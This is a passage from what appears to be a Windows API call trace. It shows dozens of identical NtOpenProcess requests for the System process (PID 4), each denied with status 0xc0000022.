SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.125] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.125] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.125] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.126] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.126] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.126] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.126] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.126] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.126] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.126] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.126] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.126] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.126] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.126] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.126] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.126] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.126] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.126] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.126] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.126] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.126] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.126] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.126] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.127] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.127] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.127] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.127] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.127] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.127] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.127] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.127] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.127] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.127] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.127] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.127] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.127] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.127] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.127] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.127] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.127] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.127] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.127] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.128] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.128] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.128] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.128] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.128] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.128] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.128] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.128] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.128] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.128] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.128] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.128] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.128] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.128] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.128] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.128] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.128] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.128] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.128] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.128] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.129] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.129] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.129] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.129] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.129] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.129] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.129] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.129] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.129] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.129] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.129] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.129] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.129] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.129] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 